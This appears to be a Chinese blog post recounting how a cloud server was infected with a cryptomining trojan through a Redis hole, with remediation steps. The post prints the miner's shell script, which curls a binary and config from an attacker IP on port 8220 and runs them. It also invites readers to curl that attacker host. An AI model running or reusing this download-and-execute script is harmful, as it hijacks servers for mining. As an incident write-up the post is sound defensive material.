博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
记一次服务器被植入挖矿木马cpu飙升200%解决过程
阅读量:4319 次
发布时间:2019-06-06

本文共 2348 字,大约阅读时间需要 7 分钟。

线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了。

此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功,多次尝试甚至重启机器无果。机制的我打了个top,出现以下内容:

这是谁运行的程序?不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。怀疑是个定时任务:

什么鬼,是个图片?立即访问了一下:

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,crul过去是下面的脚本,过程就是在挖矿:

#!/bin/shpkill -9 142.4.124.164pkill -9 192.99.56.117pkill -9 jvapkill -f ./atdpkill -f /tmp/wa/httpd.confpkill -f 108.61.186.224pkill -f 128.199.86.57pkill -f 67.231.243.10pkill -f 142.4.124.164pkill -f 192.99.56.117pkill -f 45.76.102.45pkill -f AnXqV.yampkill -f BI5zjpkill -f Carbonpkill -f Duck.shpkill -f Guard.sh...中间省略/sbin/sysctl -w vm.nr_hugepages=`$num`nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &fips -fe|grep -w suppoie |grep -v grepif [ $? -eq 0 ]thenpwdelsecurl -o /var/tmp/config.json http://192.99.142.235:8220/1.jsoncurl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1chmod 777 /var/tmp/suppoiecd /var/tmpproc=`grep -c ^processor /proc/cpuinfo`cores=$((($proc+1)/2))num=$(($cores*3))/sbin/sysctl -w vm.nr_hugepages=`$num`nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &sleep 3fiif [ $? -eq 0 ]thenpwdelsecurl -o /var/tmp/config.json http://192.99.142.235:8220/1.jsoncurl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2chmod 777 /var/tmp/suppoiecd /var/tmpproc=`grep -c ^processor /proc/cpuinfo`cores=$((($proc+1)/2))num=$(($cores*3))/sbin/sysctl -w vm.nr_hugepages=`$num`nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &fiecho "runing....."

 

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl 192.99.142.235:8220/logo3.jpg

 

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

杀掉,找到存放目录:

进入临时目录:

被我发现配置文件了,先来看看内容:

虎躯一震,发现了不少信息啊,user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。干掉这两个文件后再查看top:

解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

 

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对,不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

1.把所有软件升级到新版本,修复 redis 的后门,配置bind选项, 限定可以连接Redis服务器的IP,并修改redis的默认端口6379。配置AUTH, 设置密码,密码会以明文方式保存在redis配置文件中。

2.修改所有软件默认端口号

3.打开ssh/authorized_keys, 删除不认识的密钥

4.删除用户列表中陌生的帐号

5.封了他的ip

6.SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

 

木马原因,是redis漏洞导致:

最好的方式:将主机镜像,找出病毒木马,分析入侵原因。检查业务程序,重装系统,修复漏洞,再重新部署系统。

 

 

写在最后,网友提供的一劳永逸终极解决办法:

把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

转载于:https://www.cnblogs.com/lywJ/p/11252049.html

你可能感兴趣的文章
an error occurred during the file system check错误的解决
查看>>
logstash json和rubydebug 第次重启logstash都会把所有的日志读完 而不是只读入新输入的内容...
查看>>
实验吧-web-Guess Next Session(session简介)
查看>>
C语言i++和++i的区别和指针*(a++)和*(++a)的区别
查看>>
在一个CommandField中为删除按钮设置OnClientClick属性
查看>>
Linux常用命令-1
查看>>
(一)Java工程化--Maven基础
查看>>
Linux磁盘空间爆满,MySQL无法启动
查看>>
Inception搭建
查看>>
设置联想键盘恢复F1~F12默认按键的操作办法
查看>>
Python编程之sqlite3数据库
查看>>
CROS+node-basis+ajax
查看>>
SetWindowLong函数
查看>>
What's New in Core Data in iOS 7
查看>>
个人编程作业2
查看>>
magento首页标题的修改
查看>>
刚刚拿到驾照?交警告诉你新手必知的10个行车好习惯
查看>>
linux 操作 mysql 指定端口登录 以及启动 停止
查看>>
Python多进程multiprocessing使用示例
查看>>
小学数学题大礼包
查看>>